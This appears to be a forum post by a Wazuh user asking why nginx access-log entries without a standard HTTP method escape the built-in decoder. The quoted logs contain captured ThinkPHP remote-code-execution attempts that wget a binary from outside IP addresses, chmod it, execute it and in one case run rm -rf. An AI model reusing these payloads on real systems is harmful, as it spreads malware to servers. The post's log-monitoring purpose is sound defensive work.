I've configured Wazuh to monitor the nginx access.log file, but I've noticed that some logs are not captured by the Wazuh decoder and thus don't appear in the Wazuh web user interface. Below are some examples of these 'bad' logs:
```
9.12.57.140 - - [24/Sep/2023:11:19:08 +0700] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget
http://135.148.104.21/bins/x86 -O /tmp/.Fdp; chmod 777 /tmp/.Fdp; /tmp/.Fdp ThinkPHP.x86.Selfrep' HTTP/1.1" 400 166 "-" "Tsunami/2.0"
0.66.88.204 - - [24/Sep/2023:12:33:09 +0700] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 166 "-"
12.163.122.111 - - [24/Sep/2023:12:54:40 +0700] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget
http://159.223.22.86/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Uirusu/2.0"
0.66.88.204 - - [24/Sep/2023:15:02:13 +0700] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 166 "-" "-"
37.184.255.33 - - [24/Sep/2023:16:13:09 +0700] "MGLNDD_95.217.128.110_80" 400 166 "-" "-"
```
Upon inspecting the `0375-web-accesslog_decoders.xml`file, I noticed that the above logs lack the HTTP method required to satisfy the prematch condition.
I have made a custom decoder to handle those exceptions but is there a particular reason why Wazuh doesn't have a decoder for these logs in the first place?